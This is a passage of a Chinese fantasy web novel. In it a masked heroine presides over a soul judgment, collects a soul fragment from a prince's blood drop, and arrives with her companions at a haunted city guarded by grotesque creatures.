诏罪当日,折羡戴上那张浮纹镶金的面具,穿了一身金色折边绣纹的白袍。下方首位站着的是离安皇帝,而后依次是妃嫔、皇子、大臣。另一方站着离渊国和离奚国派来的代表。
在平安观外,是数不清的百姓,他们有些是从另外两个国家赶来的,有些是离安本地人,都聚在一起面对着平安观。
他们不知道这其实是一场关于人性和公正的审判,是欠不公者的一个答案。
折羡将玉牌置于庞大的乾坤鼎前,灵气流转,玉牌在鼎上方悬浮放大成一方天书,她手里拿着一支毛笔,每下一笔,留影石里的画面就少一点,佥麟的身影便弱掉一分,相应的,那些灵气裹挟的福德和罪证如同冬日里的雪花,落到每一个人身上,落到每一个启灵之物身上,它们在享受卞青死前所积攒的福德的同时,又承受了那些害死卞青带来自身利益的人的鞭笞。
在所有过去的一切被画上句号时,佥麟的□□连同他的魂灵也消散在这个世界,而那些被他杀害了的三国大臣和与之勾结的奸邪之恶的魂灵,都被拉到了玉牌下方,接受六界的审判,无声的怒骂和谴责并不会为他们造成多少压力,他们就算死后也不会轻易悔改。
在这等待判决的期间,折羡见到了天道。
天道旨意很明确,要把这些魂灵分散判给六界。
折羡细想了一下,建议道:“其实我觉得婺哀山是个不错的归处。”
天道:“婺哀山腐尸遍布,且都是没有魂灵之物的去处,其中有些尚可纠正。”
“培养一个纯善之灵并不是一件简单的事,但若要是逼一个本就心术不正的灵去走邪道,那就简单多了。”
天道:“这世间缺的不是正义和邪恶,二者本身就是共生存在的,如若你为了绝对的公平铲除全部罪恶,打破平衡只会加速更多的不公。”
折羡愣住了,可她原来的教育环境告诉她的就是,是非对错必须明确,不论这个人本身有没有悔过或是做了什么别的事去弥补那些过错,可错了就是错了。
她捏着手腕上的透明色镯子,下方玉牌上的条条框框还在闪烁,在这个位置,她能亲眼看到众生被落下的细金滋养着,他们之中或许有跟那些死去的人一样是坏蛋。只等着大坏蛋死去后隐去自己的身形,默默干坏事。坏灵从来不会承认自己是坏灵。
她坚持道:“请以恶行处之。”
折羡说这句话时态度强硬,且她使了个小心眼子,把这句话传给了外面的那些人类,包括事不关己的其他生灵。
久颜听到了那句话,虽不知是何意,但清羕仙君毕竟在这事上帮了他,他也跟着接话:“请以恶行处之。”
众人你看看我我看看你,有着三皇子打头阵,其他人也跟着行礼喊道:“请以恶行处之。”
“请以恶行处之!”
这句话在大陆上响彻,振聋发聩,一声一声,喊得情绪高涨,听得心情澎湃。
被众生压力了的天道:“……”
“罢了,这次之后,吾盼尔等得偿所愿。”
流光散去,善意与罪恶又回到魂灵深处,他们走在路上询问谁是卞青,谁又是那些大臣的亲人朋友,文人墨客甚至是口诛笔伐。
而在那之后不久,这件事如春天来临,雪化后,一切消散。
桑越站在不远处,这是他第一次见到这样的折羡,高贵,神秘,透着一丝别样的气息,整个人散发着光辉,在一众人群里,一眼就能看到。
法事结束,桑越上前,折羡今日消耗了太多灵气,又额外花费了一点时间同天道讨价还价,最主要的是,她利用玉牌散去的那句话,是违天道之意的,因此还遭到了不小的反噬。刚落地差点没稳住身形。
久颜刚抬脚想去扶她,就被不知道从哪窜出来的桑越抢先一步。
他抱着剑没说话,眼神看向了另一旁,那里抱钰瞪着眼睛满脸怒火。
抱钰他姐知道这事的前因后果时本来想亲自来这一趟,结果同时收到离奚国君的加密信函,连夜去了离奚。她姐虽是女皇,后宫一个男人都没
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有,也没有皇嗣,所以这个代表就落到了他头上。
其实他姐领养了一个小孩,才四岁,天天跟看命根子似的,反正他是不敢叫那四岁孩子来替他。
见到折羡是毫不意外的,毕竟信都是她的落款,上面还印着离安国的专属密函。让他没想到的是,折羡是以离安国师的身份、清羕仙君的名义举办的这一场大典。
桑越揽着折羡,低声说道:“需要借力的话可以靠着我走。”
“没事。”
折羡脸上的面具还没摘,露出的两只眼睛中有一只是异色,看人总会带着莫名的疏离感,她看向了一旁张牙舞爪的抱钰,冲他露出一个不明显的笑以示打招呼。
抱钰“噌”的一下就要过来,想到折羡的武力值又转了个弯勾上久颜的脖子。
小声问他:“你什么时候跟她关系这般好了?”
久颜摸了摸鼻子,道:“她帮了我,也……帮了离安。”
“可她害过的人更多!”
“你什么时候也成了道听途说的人了?”久颜停下脚步,侧头看他。
抱钰放下手,声音更小了,咕哝道:“我姐……她害过我姐。”
“什么?”
“没事,走吧走吧。这件事她总归是没做错的。”抱钰再次钩住他脖子,往前走,又停下,大惊道:“等等!她为什么要帮你?”
久颜没说话,一声不吭往前走。抱钰一直缠着他,大有不问到原因不罢休的地步。
良久过后,久颜才不确定地开口道:“大概,是我对她而言,有用吧。”
他能从折羡看他的眼神中,读出一种十分干脆的情绪——对待目标的势在必得。
而且折羡还很明确很有意的在传达她的目的,仿佛就是为了让他提前清楚。
他摇了摇头,任由抱钰拉着他往酒楼奔去。
^^
桑越带着折羡回了小院,她连最喜爱的饭都没吃,就陷入深度的睡眠。
睡觉对于其他修行者来说或许并没有什么用,对她这个爱摆烂的人来说,就是最好恢复能量的方式。
这一觉睡得很死,等她再次醒来,已经是几天后。
桑越一直守着她,时不时还要探一探她的气息。
她满格状态的从床上爬起来,开始想念自己的大食物。
“我睡了多久?”
桑越看到她醒了,眼里的黯淡在顷刻间变成了星星点点的微光,那里是装着的是活灵活现的折羡。
他说:“五天。”
折羡手移到肚子上,感觉自己真饿得不行了,身心都饿,所以她对桑越道:“辛苦你照顾我了,同伴。”
“我现在要去酒楼吃个饭,需要我给你带什么东西吗?”
桑越对同伴一词不置可否,只是挑眉看她:“不带我一起去吗仙君?”
“你也五天没吃饭?”折羡觉得自己罪过大了,同伴照顾她五天都没吃饭,现在自己还只想着一个人去吃。
桑越:“……”
他现在可以是五天没吃饭。
他一直不吃都可以。
反正饿不死。
他也不是很注重口腹之欲。
如果折羡非要邀请他的话,他也很乐意去吃。
15. 天才正剑
酒楼还是那个酒楼,菜也是那些菜,两个人已经从契约关系升级为契约同伴关系。可想而知,这段时日的经历短暂地让彼此对对方有了新的认知。
折羡吃好喝好,感觉自己精神状态回笼不少,那些因违天道之意而亏损的灵气已尽数恢复。
鉴于她懒散的心态和不够积极的工作态度,隐若自己按照精花所需魂灵的要求在人界寻找相关的任务对象,准备在折羡拿下久颜时便告知她下一个任务对象的大致方位,这样减少了二人漫无目的在六界乱窜什么也没捞到的空余时间。
是针对折羡这种摆烂式做任务被迫自己工作的好系统一枚。
主要还是怕折羡觉得麻烦撂挑子不干。
在完美解决佥麟这件事后,折羡提出了她的人情邀约。
“佥麟和卞青的事解决了,我也要离开离安了。”她道。
“去哪想好了吗?”久颜和赖在一旁不肯离开的抱钰都睁大了眼睛。
“去离奚。”隐若的小童音在脑海叫唤,一个红色小点就出现在了折羡脑子里。
折羡扬眉,没回应隐若,对二人道:“离奚。”
“我一直有个疑问,找到所需魂灵带回主神空间,而祂当时没有明说任务对象需不需要活着,是我下意识以为要活的。那你说我现在把他杀了取了魂灵直接扔回主神空间是不是就算任务进度加一?”
折羡细想了一下才发现她之前进入了误区,她那时候并不想残杀生灵,只是想着把人骗了跟她走便是,可这样谁知道有多少个任务对象,她难道要带着一群人浩浩荡荡去找下一个任务对象?
那场面说不出的怪异。
而且按照目前出场的久颜来看都是人界皇子的身份,那说不好下一个任务对象身份更高,也不是每一个她都能如法炮制,但要是杀了生取,岂不是简单得多。
“呃。”隐若也沉默了,如此看来,这段时间做的所有事跟任务毫无关系,甚至游离于任务对象之外的时日更多。
“可……主神空间已经锁了,现在无法进去。”神父那边已经单方面跟它断联了。
“而且,我们不能随意杀生,他没有犯六界条约的任何一条,你强行杀他只能让对方魂灵破散,你什么也得不到的,主人。”
折羡忍不住在心里嗤笑一声,压下那一点想把主神胖揍一顿的想法,道:“那你说个别的法子我听听。”
隐若略微轻咳两声,摆上系统的架子,慢悠悠道:“我还真有个办法。”
“神父当时只说要带回魂灵,没说要整个带回,咱们取一些来放入精花中就行了,而且不影响任务对象活着。如若都找齐后精花能量没满,咱们再顺着精花中的魂灵气息去找就简单多了。”
“那我问你,六界条约不能残害生灵的性命,而我们的任务是收集魂灵温养精花,这难道不是自相矛盾吗?”之前还十分抵抗这个任务的折羡终于明白了问题所在,这个任务和六界条约根本就是相悖的。
“……”隐若似乎也想到了这一点,突然就说不出话来。
“主人,你活着就行。”来此做任务只是为了你自己。
折羡张了张嘴,最终还是按照隐若的法子向久颜道:“听说离安皇室的血都很宝贵,不知道我能不能取一滴你的血。”
抱钰搂着久颜的肩膀晃来晃去地手僵在半空,大叫:“折羡!你要他血?我也是皇室血脉,你怎么不要我的?!”
久颜觑了他一眼:“……”
“这个当作人情抵消。”她要借助这滴血抽一丝魂灵出来。
修行之人达到灵气阶段都能魂灵肉身共融,虽说人界修行到灵气阶段的少之又少,可还是有意外的。
久颜没想到折羡帮了那么大一个忙,而想从他这得到的只是一滴血,是他狭隘,还在想要是她要那些修行灵物灵器就算宝贵他也全弄来。或者金银财宝灵石这些简单的,对他来说都没什么。
他抽出自己的佩剑,利落地在手上划下一刀,鲜红的血顿时从掌心冒出。
“我的血若对仙君有用,需要多少跟我说即可。”
折羡手腕的镯子在发烫,血和外皮组织不同,这是同魂灵羁绊最深的,折羡的灵气将那血珠圈在里面,她多加了一道咒语,那血变得透明了些,在小气泡中渐渐变得活跃起来。
抱钰戳了戳小气泡,觉得好玩,又戳了戳,他手臂碰了碰久颜:“哎,你这小血珠还挺有个性,在这里面这么活跃,看来很喜欢我们仙君大人啊。”
久颜五指用力,手上的伤口渐渐变小,只剩一道浅粉色的伤痕。他抿着唇,半响才道:“也许吧。”
折羡左手收了气泡,袖子遮住手腕,气泡在碰到手镯时精花闪了一下,那滴血珠被吸了进去。
脑海传来一道声音:“恭喜获得魂灵碎片一——天才正剑。”
之一。
那朵小的花苞在吸收时悄然绽放,上方落着一副极小的画像,画像在展开时“天才正剑”的光芒遮住了画上的人,等光芒散去,画像已经缩回花苞里。
久颜和抱钰都看不到的虚空中,透明手镯变回本体,九朵不同形状的花苞融合在一起,成了精花。其中一朵花的花瓣在血珠浸上时亮起。
折羡勾着唇,看向久颜和抱钰:“那,二位,我们就此别过,后会有期。”
久颜拿着剑,看向折羡离去的方向,有些怅然,总觉得漏了些什么,可怎么都想不起来。
他的目光移到那柄泛寒光的剑,剑柄处刻着“敛苍”二字,是他这把剑的名字,而此时那剑上的字在阳光下突然浮上来,下方似乎盖住了另一个字,他想看仔细点,刚一凑近,“敛苍”二字沉下去,恢复平静。久颜怔愣住,对着旁边鬼哭狼嚎地抱钰道:“抱钰,她真的跟我记忆中那个人很像。”
抱钰止住哭嚎,眨着眼问了一遍:“哪个人?”
“没事,你快回离渊吧。”
^^
“收拾一下,准备上路。”折羡把之前住客栈买的东西全丢进了储灵袋,然后又去酒楼买了难以计数的吃食,再绕道买了几身衣物。以及别的所需用品,总之灵气可以解决的,不可以解决的她都补充完毕,接着一个闪身来了婺哀山,通知桑越启程。
还是瞬移术好用,比徒步走路快多了,而且也不会遇到一些难缠的腐尸。
桑越那次之后,折羡仔细翻着《大陆史》,把上面关于修行的术法全部学完了,包括一些邪门的不常见的她都学了个遍,算不得精修,勉强能对付就行。
“这般着急,仙君要带我去哪啊?”桑越本是躺在院子里休息,假寐没一会儿便闻到了熟悉的气味,他放松神经,懒懒地瘫在躺椅上。
“去魔之域都。”折羡看到桑越那半眯着的眸子颤了颤,缓缓睁开,浓密的睫毛下是黑葡萄般的眼睛,左边眉眼处的那颗痣恰到好处中和了上挑显得凶狠的那双眼睛,
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转而看上去温和又好骗。
待善一鸰从屋内出来,就听到了折羡那句话。脸部动作多得可以去演川剧了。
“仙君怎么想去哪里就去哪里,好生厉害。”桑越语气里多是羡慕,听到折羡耳朵里就成了“这人好装,以为自己是谁”。
折羡的任务完成了?/1,她现在心情好,不跟这个披着人皮的魔计较,不代表她就接受了这份阴阳,她弹了弹椅子,那檀木制成的椅子登时摇晃起来,桑越这会儿不似先前要死不活的,闪身落到一旁,正要说点什么,折羡含着笑看他,略带讥讽:“你现在不也是吗?”
去哪不就是挪一挪屁股的事。
桑越愣了一下才反应过来,也跟着笑了两声:“善一鸰已经收拾完东西了,现下就可以启程。”
杵在一旁当透明台柱子的人终于被点名,他拍了拍手里的袋子,挂在腰间,回禀道:“已准备妥当。”
“那走吧。”末了折羡有些飘忽的声音在空中响起:“我突然发现,你好像挺爱笑的。”
三人正好瞬移到一堵墙外,善一鸰听到这话,一不留神,整个人四仰八叉撞到墙上,桑越往旁边挪了一步,看上去有些嫌弃,扯过折羡就加快了进程,把善一鸰甩在后头。
努力想把自己扣下来的善一鸰:“……”
仿佛听到了天大笑话的善一鸰:“……”
零帧起手直接被丢弃的善一鸰:“……”
他现在就想要回域都换班!!!
离奚国线城城外。
桑越松了抓着折羡的手,侧身和她对立而站,略显疲惫的眼微微掀起,说出口的声色也有些弱:“不是说要去域都?”
折羡拍了一颗丹药进桑越体内,淡声反问道:“你很期待?”
这里外围寸草不生,城门上则是爬满了各种蠕虫,放眼望去空无一人,吹起的风也带着阴冷,许是少了草木的原因,那风吹来时低呜呜的,又无比躁动。
折羡打量了一番这里的怪异景象,灵气从指尖泻出,绕着整座城溜了一圈,最后落回折羡手里时萎靡不少,能回来,说明这里还有活人。
“这地方有很多鬼的魂灵。”桑越一招不慎,站在旁边吸了一口无比恶心的鬼气,熏得他忍不住往折羡那边靠了靠。喉咙仿佛被这冷气划破了,吐出的字音也气若游丝,“仙君,我有点怕。要不还是回去吧。”
封了嗅觉闻不到折羡的气息他不安心,不封又得吸入乱七八糟的各种臭哄的味道,桑越那张波澜不惊的脸上多了些难言的情绪。
没搭理他后面那句莫名其妙的的话,折羡继续道:“看来活人不多了,先进去再说。”
“嗯。”桑越不甚在意,手抵着唇又轻咳两声。
那些蠕虫就像是城门的守护士,折羡和桑越一靠近,它们就变大将门堵住,还有几个分泌出小身体几秒钟便召来更多的四面八方的蠕动型怪物。
等那些蠕动怪物靠近,折羡才分辨出那是人的不同部位,被随意拼凑在一起,有些是动物,它们均匀地被分成了同等大小,下半身被缠成长条椭圆形的蠕动类虫子,上半身则是找了某个眼睛或耳朵或脚趾做头。
还没等折羡出手,桑越一袖子将这些东西挥开,他飞到城门上将手里的蓝色火焰撒在装烛火的灯台上,瞬时整个线城都亮了起来,他撤回来,冲折羡道:“不对。它们身上同时具备人的气息和鬼的气息。”
“你说什么?”